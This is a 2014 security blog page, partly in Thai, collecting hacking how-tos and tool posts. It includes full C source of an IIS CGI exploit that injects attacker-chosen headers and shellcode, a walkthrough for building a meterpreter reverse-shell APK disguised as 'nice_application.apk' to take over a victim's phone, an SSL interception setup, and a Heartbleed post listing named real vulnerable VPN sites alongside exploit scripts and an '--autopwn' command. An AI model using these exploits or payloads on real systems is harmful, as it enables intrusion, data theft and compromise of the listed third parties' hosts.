Apr 11, 2014

Howto: SSL MITM Test Lab for Android


  1. Install a Linux distribution of your choice.
    (*) I am using Ubuntu 12.04 hosted on Digital Ocean’s $5/month VPS
  2. Configure the server as a VPN gateway.
    (*) PPTP is easy to setup as documented by both Ubuntu & Digital Ocean.
  3. Install Moxie’s Sslsniff is easy to build from source or install from a repo. (i.e apt-get install sslsniff)
  4. Per the instructions for sslsniff, enable an iptables rule to redirect SSL traffic
    (*) iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-ports 4443
  5. Run sslsniff as described in the README – running in authoritative mode is a good starting point
    (*) sslsniff -a -s 4443 -w /tmp/sslsniff.log -c /usr/share/sslsniff/certs/wildcard
  6. Connect the Android device to the VPN using the credentials configured in step 2
    (*) Typically Settings->Wireless & Networks->More->VPN and touch the ‘+’ at the top right.
  7. Monitor the sslsniff output specified with the ‘-w’ flag
    (*) tail –f /tmp/sslsniff.log

Source: http://www.tripwire.com/state-of-security/security-data-protection/howto-configuring-ssl-mitm-test-lab-android/#.U0Ypu7t1a8s.twitter



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Discoverying and enumerating with Metasploit

1. Using msfconsole
$ msfconsole

2. Create your workspace(it's like a database)
msf > workspace -a test

3. Scan host with nmap that will insert into workspace
db_nmap target_ip

4. After scan, we can list hosts with "hosts" command or services of host with "services" command

After this you can use many auxiliary modules for enumerating
- auxiliary/scanner/portscan/tcp
- auxiliary/scanner/http/http_version
- etc.


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 10, 2014

Tools: IIS CGI 0day

It is a bug affecting IIS4/5 using CGI on Windows NT/2000. Microsoft is
aware of it and won't fix it.

The discovery of the bug was back in year 2011.

By exploiting this bug, the attacker can set arbitrary environment
variables for the CGI process on the target machine, which can be further
exploited to get sensitive information, or cause remote code execution. 
 
*/
#include <stdio.h>
#include <stdlib.h>#include <winsock2.h>
#include <windows.h>
#include <mswsock.h>
#include <wsnwlink.h>
#include <ws2tcpip.h>
#include <process.h>    /* _beginthread, _endthread */
#include <errno.h>
#include <io.h>
#include <conio.h>#pragma comment(lib,"ws2_32")
#pragma comment(lib,"Mswsock")/*
char  *AprilFoolsDay ="GET /AprilFools'Day.php  HTTP/1.1\r\nHOST:weibo.com/yuange1975\r\na=b\nc:shellcode\r\n\r\n"; 
*/
char  *AprilFoolsDay ="GET %s HTTP/1.1\r\nHOST:%s\r\na=b\n%s:%s\r\n\r\n"; static unsigned int maybe_lookup_host(char* 
name) 
{
  unsigned long ulAddr = INADDR_NONE;  /* Don't bother resolving raw IP addresses, naturally. */
  ulAddr = inet_addr((char*)name); 
  if ( ulAddr != INADDR_NONE && ulAddr != INADDR_ANY )
   return (unsigned int)ulAddr;  return 0;
}int do_exp(char *hostname,unsigned int port,char *AprilFools, char *c,char *shellcode)
{
    SOCKET hScoket = INVALID_SOCKET;
 struct sockaddr_in sin;
 unsigned int addr=0;
 int write_res = 0;
 int read_res = 0;
 char crash_buf[0x4000];
 int crash_buflen=0;
 /*
     create SOCKET
  */
 hScoket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0/*WSA_FLAG_OVERLAPPED*/); 
 if (hScoket == INVALID_SOCKET) { 
  printf_s("WSASocket function failed with error = %d\n", WSAGetLastError() );
  return -1;
 }   /* Resolved IP address          */
 addr = maybe_lookup_host(hostname); sin.sin_family = AF_INET;
 sin.sin_port   = htons(port);
 memcpy(&sin.sin_addr,&addr,4); /*
     connect
  */
 if ( connect(hScoket, (struct sockaddr*) &sin, sizeof(struct sockaddr_in) ) == SOCKET_ERROR) {
  if ( WSAEWOULDBLOCK != WSAGetLastError() ) {
   closesocket(hScoket);
   printf_s("connect function failed with error: %ld\n", WSAGetLastError());
   return -1;
  }
 } 
 
 printf("[*] connected to %s:%d\n",hostname,port);
 
 //build_crash_package(&crash_buf,&crash_buflen); 
sprintf_s(crash_buf,0x400,AprilFoolsDay,AprilFools,hostname,c,shellcode);
 crash_buflen = strlen(crash_buf); //printf("%s",crash_buf);
  /*
      send data to remote target
   */
  write_res = send( hScoket,
                 crash_buf,
                       crash_buflen,
                       0);  
  
  printf("[*] send %d bytes\n\n",write_res);
    while(1){ 
  read_res     =    recv( hScoket,
                 crash_buf,
                       0x4000-1,
                       0);
  if(read_res<=0) break;
  crash_buf[read_res]=0;
  printf("%s",crash_buf);
    } closesocket(hScoket);
 return 0;
}int main(int argc, const char **argv)
{
    int iResult;
    char * target_ip = (char*)argv[1];
 char *AprilFools="/AprilFools'Day.php";
 char *c="c";
 char *shellcode="shellcode";
 WSADATA wsaData; if ( !target_ip || argc < 2 ) {
  printf_s("usage: <target_ip> /AprilFools'Day.php c shellcode \n");
  return 0;
 }
 if(argc>2)  AprilFools=(char*)argv[2]; 
 if(argc>3)  c= (char*)argv[3];
 if(argc>4)  shellcode=(char*)argv[4];
 
 
 /* Initialize Winsock */
 iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
 if (iResult != 0) {
  printf_s("WSAStartup failed: %d\n", iResult);
  return -1;
 } do_exp(target_ip,80,AprilFools,c,shellcode);
 
 /* clean - win socket */
 WSACleanup(); return 0;
}
 
Source: http://seclists.org/fulldisclosure/2014/Apr/108 



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Article: อธิบายช่องโหว่ OpenSSL Heartbeat extension


 Download Link: https://dl.dropboxusercontent.com/u/2330423/%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88%20OpenSSL%20Heartbeat%20Extension.pdf



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 9, 2014

ความเข้าใจผิดๆเกี่ยวกับเครื่องโดนแฮ็คทันทีที่เครื่องต่อ Internet

มีคนทั่วไป ทั้งที่อ่านหนังสือของผมหรือทั้งที่คุยกับผมในงานสัมนาต่างๆมักจะพูดเสมอว่า "อยู่ดีๆเครื่องก็ติดไวรัส ทำไมถึงเกิดขึ้นได้" ผมจึงขอเขียน blog นี้ เพื่ออธิบายเหตุการณ์ที่อาจทำให้เครื่อง client ติด malware ต่างๆ(Virus, Trojan, Botnet, etc.)ได้ขึ้นมาครับ

ก่อนอื่นต้องทำความเข้าใจก่อนว่า หลักการทำงานของผู้ใช้งานทั่วไปคือผู้ร้องขอข้อมูล(client)และผู้ให้ข้อมูล(server) โดยผู้ให้ข้อมูลจะต้องเป็นผู้ประเสริฐมาก กล่าวคือเป็นผู้ที่รอรับการร้องขอจากผู้อื่นตลอดเวลา ไม่เหน็ดไม่เหนื่อย รอมันอยู่นั่นแหล่ะ เมื่อมี client ขอข้อมูลเข้ามา ก็จะรีบหาข้อมูลที่ client แล้วส่งข้อมูลกลับไปให้ทันที และการร้องขอข้อมูลอาจจะเป็นการโจมตีก็เป็นได้ นั่นคือเหตุผลว่าทำไม server อาจจะโดนโจมตีได้เรื่อยๆ(แต่จะโจมตีสำเร็จหรือไม่ก็อีกเรื่องหนึ่ง)


http://infomotions.com/musings/waves/media/client-server-illustration.gif

ในเมื่อ client ทั่วไปเป็นเพียงผู้ร้องขอข้อมูลจะโดนแฮ็คได้อย่างไร ไม่มีใครที่จะสามารถมาร้องขอข้อมูลใดๆ ข้อมูลจากคุณได้ เพราะ client  ไม่ได้เป็นผู้ให้ ไม่ได้เปิด port รอรับการร้องขอใดๆต่างสิ้น ดังนั้นความเป็นไปได้ที่จะติด malware มีดังนี้


1. เครื่อง client ทำตัวเป็น server
หากคุณเปิด Share file, Remote Desktop หรือ server service ใดๆไว้เป็นไปได้ที่คุณอาจจะถูกโจมตีจากภายนอก โดยสามารถตรวจสอบได้ว่าเรามีเปิดพวก server service ไว้หรือไม่ ให้ลองเข้าไป
  • Windows -> ในช่อง run พิมพ์เป็น cmd.exe -> เมื่อเจอ terminal ให้ใช้คำสั่งเป็น netstat -nao | find "LISTENING" 

  • จะเห็นว่า มีหลาย Port  มากมายทั้ง 135, 445, 1688 และอื่นๆ นั่นหมายถึงเครื่องของเรามีการให้บริการหรือรอรับข้อมูล(LISTENING) อยู่ ซึ่งนั่นก็คือการที่เครื่องเราสวมหัวโขนเป็น server ในบาง service อยู่นั่นเอง ซึ่งโดยปกติหากเป็นภายในวง LAN และ subnet เดียวกันการจะเข้าถึง Port พวกนี้ได้ทำได้ง่ายมาก แต่หากเป็นการใช้งานผ่าน internet นั้นจะไม่สามารถทำได้ เพราะเนื่องด้วยเวลาการใช้งาน router ต่างๆ IP ที่เราใช้คุยกับ router ซึ่งเป็นประตูสู่ internet นั้นเป็นเพียง IP ภายในเท่านั้น คำว่า IP ภายในความหมายก็ตรงตัวคือ จะเป็น IP ที่ใช้กันภายในเท่านั้น ไม่มีเครื่องภายนอกจะติดต่อมาหาได้ โดย router จะมีอีก IP หนึ่งซึ่งเป็น IP ภายนอก เอาไว้คุยกับคนข้างนอก เมื่อ router ได้รับข้อมูลเรามาแล้วก็จะส่งออกไปคุยกับคนข้างนอกให้ จากนั้นเมื่อได้รับข้อมูลกลับมา ถึงจะส่งกลับไปให้ client อีกทีหนึ่ง ทีนี้หากเครื่องภายนอกต้องการจะติดต่อหรือร้องขอข้อมูล(คนข้างนอกสวมหัวโขนเป็น client)กับเครื่องของเราจำเป็นที่ต้องการกระบวนการ Port Forwarding*** ที่ router ก่อน เครื่อง client จึงจะสามารถส่งการร้องขอข้อมูลมาถึงเครื่องภายในได้ ฟังดูยุ่งยากแล้วใช่มั้ยครับ นั่นแหล่ะคือเหตุผลว่าทำไมเครื่อง client ทั่วไปนั้นเป็นไปได้ยากที่จะโดนโจมตีได้
*** สามารถหาข้อมูลเพิ่มเติมได้ที่ http://www.adslthailand.com/board/showthread.php?t=22087

2. เครื่อง client เข้าเว็บอันตรายต่างๆ
อย่างที่บอกไปแล้วว่าการทำงานของ client เป็นเพียงผู้ร้องขอเท่านั้น แต่การร้องขอเหล่านั้นก็อาจจะเป็นอันตรายก็ได้เช่นกัน หาก client เข้าเว็บไซด์ที่อันตราย*** หรือการ download program จำพวก crack, keygen ต่างๆ อาจส่งผลให้เครื่อง client ติด malware ต่างๆได้โดยไม่รู้ตัว แต่คุณจะไปโทษใครได้ล่ะในเมื่อคุณร้องขอสิ่งเหล่านั้นเข้ามาในเครื่องด้วยมือคุณเอง ทางเดียวที่จะทำได้คงเป็นเรื่องติดตั้ง software  security ต่างๆ ทั้ง Internet Security, Antivirus ให้มาช่วยตรวจตราสิ่งต่างๆที่เราร้องขอเข้ามาอีกทีครับ


*** สามารถหาข้อมูลเพิ่มเติมได้ที่ http://www.i-secure.co.th/2013/01/drive-by-download-%E0%B8%A7%E0%B8%B4%E0%B8%A7%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%81%E0%B8%AB%E0%B9%88%E0%B8%87%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%82%E0%B8%88%E0%B8%A1/

จะเห็นว่าทั้งหมดทั้งมวลนั้นเครื่อง client ของเราไม่มีทางที่จะถูกโจมตีได้ง่ายๆเลย หากเรามีความตระหนักมากพอ ก็จะไม่ต้องเจอเรื่องปวดหัวเหล่านี้อีกต่อไปครับ

Disaster or not, is in your hands.

PS. ในกรณีของ USB หรือ device ใดๆเป็นด้านอื่นนะครับ โพสต์นี้มุ่งเน้นไปทางด้าน network เป็นหลักครับ


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Apr 8, 2014

OpenSSL 1.0.1 Heartbleed Vulnerability - [Critical Vulnerability]

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop communications, steal data directly from the services and users and to impersonate services and users.


Why it is called the Heartbleed Bug?

Bug is in the OpenSSL's implementation of the TLS/DTLS (transport layer security protocols) heartbeat extension (RFC6520). When it is exploited it leads to the leak of memory contents from the server to the client and from the client to the server.

What makes the Heartbleed Bug unique?

Bugs in single software or library come and go and are fixed by new versions. However this bug has left large amount of private keys and other secrets exposed to the Internet. Considering the long exposure, ease of exploitation and attacks leaving no trace this exposure should be taken seriously.


What versions of the OpenSSL are affected?

Status of different versions:
  • OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
  • OpenSSL 1.0.1g is NOT vulnerable
  • OpenSSL 1.0.0 branch is NOT vulnerable
  • OpenSSL 0.9.8 branch is NOT vulnerable
Bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.



How common are the vulnerable OpenSSL versions?

The vulnerable versions have been out there for over two years now and they have been rapidly adopted by modern operating systems. A major contributing factor has been that TLS versions 1.1 and 1.2 came available with the first vulnerable OpenSSL version (1.0.1) and security community has been pushing the TLS 1.2 due to earlier attacks against TLS (such as the BEAST).

How about operating systems?

Some operating system distributions that have shipped with potentially vulnerable OpenSSL version:
  • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
  • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
  • CentOS 6.5, OpenSSL 1.0.1e-15
  • Fedora 18, OpenSSL 1.0.1e-4
  • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
  • FreeBSD 8.4 (OpenSSL 1.0.1e) and 9.1 (OpenSSL 1.0.1c)
  • NetBSD 5.0.2 (OpenSSL 1.0.1e)
  • OpenSUSE 12.2 (OpenSSL 1.0.1c)
Operating system distribution with versions that are not vulnerable:
  • Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14
  • SUSE Linux Enterprise Server

How can OpenSSL be fixed?

Even though the actual code fix may appear trivial, OpenSSL team is the expert in fixing it properly so latest fixed version 1.0.1g or newer should be used. If this is not possible software developers can recompile OpenSSL with the handshake removed from the code by compile time option -DOPENSSL_NO_HEARTBEATS.

Where to find more information?

This Q&A was published as a follow-up to the OpenSSL advisory, since this vulnerability became public on 7th of April 2014. The OpenSSL project has made a statement at https://www.openssl.org/news/secadv_20140407.txt. NCSC-FI published an advisory at https://www.cert.fi/en/reports/2014/vulnerability788210.html. Individual vendors of operating system distributions, affected owners of Internet services, software packages and appliance vendors may issue their own advisories.

Source: http://heartbleed.com/

Detect it with tshark: tshark -i eth0 -R "ssl.record.content_type eq 24"

Example with PoC:
Retweeted Mark Loman (@markloman):

Do not login to Yahoo! The OpenSSL bug #heartbleed allows extraction of usernames and plain passwords! http://t.co/OuF3FM10GP
 Reverse Heartbleed: An attacker can exploit Heartbleed to expose sensitive data on vulnerable servers, but that's not the only attack possible using this flaw. The "heartbeat" used in the Heartbleed attack can be initiated by either the client or the server, so a malicious server can also send bad heartbeat packets to an OpenSSL client to extract data. 
The attention around Heartbleed has initially focused on the most direct scenario: a malicious client attacking an HTTPS server to steal cookies, private keys, and other secrets. Unfortunately, as security firm Meldium says, TLS heartbeats are symmetric, so they can be exploited on whichever connection endpoint, either the client or the server. Thus, a malicious server can send bad heartbeat packets to an unpatched client and potentially extract sensitive data from it.(Android 4.1.1 Affect) 
https://blog.lookout.com/blog/2014/04/18/heartbleed-android/ 
Heartbleed on VPN
- Example Juniper:
Title: Juniper SSL VPN Openssl HeartBleed Vulnerability Dork
Author of Exploit: @surivaton
Contact information(I only use twitter): @surivaton
Vulnerable Software: www.juniper.net
Google Dork: inurl:"/dana-na/auth/
Vulnerable Sites:
http://extranet.uphs.upenn.edu
http://vpn.stlouiscountymn.gov
http://vpn1.broadcastaustralia.com.au
http://remote.compumenn.com.au
http://rna.n.nsa.nexus.telstra.com.au


Script For Test Vulnerability: http://s3.jspenguin.org/ssltest.py 
https://gist.github.com/takeshixx/10107280

Metasploit Module: https://github.com/rapid7/metasploit-framework/pull/3206/files

Check Vulnerability with online tool: http://rehmann.co/projects/heartbeat/ , http://filippo.io/Heartbleed/

Technical Detail: http://blog.existentialize.com/diagnosis-of-the-openssl-heartbleed-bug.html

Heartbleed in VPN: https://github.com/falstaff84/heartbleed_test_openvpn/blob/master/heartbleed_test_openvpn.py

All about Heartbleed: http://www.aldeid.com/wiki/CVE-2014-016-Heartbleed-Vulnerability

Heartbleed Tool Bypass  IDS Script:
https://github.com/robertdavidgraham/heartleech
./heartleech --autopwn targetIP

https://github.com/robertdavidgraham/masscan
./masscan --heartbleed TargetIP -pPort --banners

If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Pwn android device with Metasploit

1. Generate msfpayload stager which will be sent to victim.
" sudo msfpayload android/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=4444 R > nice_application.apk "

2. Create Msf listenersudo msfconsole
use exploiter/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost X.X.X.X
set lport 4444
exploit


3. Run payload stager to your victim and you will get the shell on android device.



If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Howto: Fix Metasploit Framework not load lorcon module

If you use some wifi module in Metasploit framework and you got error "
[*] The Lorcon2 module is not available: cannot load such file --
Lorcon2
[-] Auxiliary failed: RuntimeError Lorcon2 not available
[-] Call stack:
[-]
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/exploit/lorcon2.rb:67:in
`open_wifi'
[-]
/home/todb/git/rapid7/metasploit-framework/modules/auxiliary/dos/wifi/wifun.rb:29:in
`run'
[*] Auxiliary module execution completed
"
 
. This post is how to fix it(source from: https://github.com/rapid7/metasploit-framework/pull/3200)
 
 
1. Installing lorcon2 library
git clone https://code.google.com/p/lorcon/
cd lorcon
./configure
make
make install
 
2. Put it a place that will load into Metasploit
# cp /usr/local/lib/liborcon2-2.0.0.so /usr/lib/ 
 
3. Try the wifi module again.
 
Source: https://github.com/rapid7/metasploit-framework/pull/3200   


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.

Tools: Chrom Plugin for Shodan

A new plugin for Chrome browser that lets you see what data Shodan has available for the website you’re currently visiting. This information includes the IP, hostnames (as determined via PTR lookups), location of the server (city, country), operating system, organization that owns the IP space as well as a list of open ports. As soon as you visit a website, it automatically asks the Shodan API (hence the api.shodan.io permission requirement) for all that information and then compiles it into a small pop-up that you can view when clicking on the Shodan icon next to the address bar:
shodan-chrome
The pop-up for the Shodan plugin is as simple as possible, which also means it doesn’t show the full banners for every port. There wasn’t enough room to fit everything in, especially for some of the hosts that have tons of ports open. I’m looking to find a way to show all of that information and more in future releases! For now, I’m happy to finally have a way to quickly see who’s hosting a website (the hostname often gives that away) and if they’re running some unusual services publicly. Oh, and if you see a dark blue square that means it can be opened by your browser and will open up a new tab with the IP:port if you click on it (in case you want to see what it shows when you access the webserver via its IP instead of hostname).
Go download the plugin and let me know what you think!
https://chrome.google.com/webstore/detail/shodan/jjalcfnidlmpjhdfepjhjbhnhkbgleap


Source: http://shodanio.wordpress.com/2014/04/07/shodan-plugin-for-chrome/


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |